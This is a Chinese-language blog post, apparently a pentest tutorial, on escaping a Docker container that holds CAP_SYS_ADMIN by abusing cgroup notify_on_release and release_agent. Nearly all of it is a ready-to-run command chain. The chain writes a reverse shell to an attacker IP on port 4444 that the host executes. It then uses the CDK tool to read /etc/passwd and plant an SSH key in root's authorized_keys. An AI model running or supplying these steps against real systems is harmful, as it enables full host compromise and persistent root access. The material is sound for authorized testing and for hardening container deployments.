CAP_SYS_ADMIN之利用notify-on-release進行容器逃逸
一顆小胡椒2023-06-25 13:55:00
當容器具有SYS_ADMIN的Capability的話,則可以進行容器逃逸。它允許大量的特權操作,包括mount文件系統,交換空間,還有對各種設備的操作以及系統調試相關的調用。
環境搭建
執行如下命令啟動存在漏洞的容器環境,在賦予sys_admin權限的同時,需要關掉安全組apparmor設置
docker run -d -P --cap-add=cap_sys_admin --security-opt apparmor=unconfined --name=test nginx:latest
在容器中使用cdk進行檢測,可以看到容器中多了CAP_SYS_ADMIN的Capability

也可以手動檢測Capability
cat /proc/self/status | grep CapEffcapsh --decode=00000000a82425fb


利用notify-on-release進行容器逃逸
在容器內掛載宿主機cgroup的memory
#將cgroup進行掛載mkdir /tmp/test && mount -t cgroup -o memory cgroup /tmp/test#接著我們在掛載的目錄下再創建一個子進程,主要攻擊目標應在子進程內,因為攻擊的過程需要將cgroup下所有的task清除,所以在同樣環境的子進程內進行更加合理安全mkdir /tmp/test/x

第二步就需要我們設置notify_on_release文件內容為1,設置release_agent文件的對應路徑為宿主機的可寫目錄upperdir
echo 1 > /tmp/test/x/notify_on_releasehost_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`echo "$host_path/cmd" > /tmp/test/release_agent

其中,cmd為需要宿主機執行的命令,本次使用sh反彈shell:
echo '#!/bin/sh' > /cmdecho 'sh -i >& /dev/tcp/172.16.200.60/4444 0>&1' >> /cmdchmod a+x /cmd

清除cgroup.procs中的進程,觸發release_agent執行cmd文件進行反彈shelll。該命令啟動一個sh進程,將sh進程的PID寫入到/tmp/test/x/cgroup.procs中。這里的\$\$表示sh進程的PID。在執行完sh -c后,sh進程會自動退出,這樣Cgroup /tmp/test/x 中就不再包含任何任務,/tmp/test/release_agent文件里的shell將被操作系統執行。
sh -c "echo \$\$ > /tmp/test/x/cgroup.procs"

也可以使用CDK來執行命令。CDK會劫持宿主機cgroup的release_agent文件,通過linux cgroup notify_on_release機制觸發shellcode執行,完成逃逸。
./cdk run mount-cgroup "cat /etc/passwd"

可以寫入公鑰文件,注意這里最后需要加個 |
./cdk run mount-cgroup "echo 'ssh-rsa xx '>> /root/.ssh/authorized_keys | "

但是還不能免密登錄,由于等過這種方式寫的公鑰文件權限的原因,還需要之行如下命令進行權限修改。
./cdk run mount-cgroup "chmod 644 /root/.ssh/authorized_keys"


一顆小胡椒
暫無描述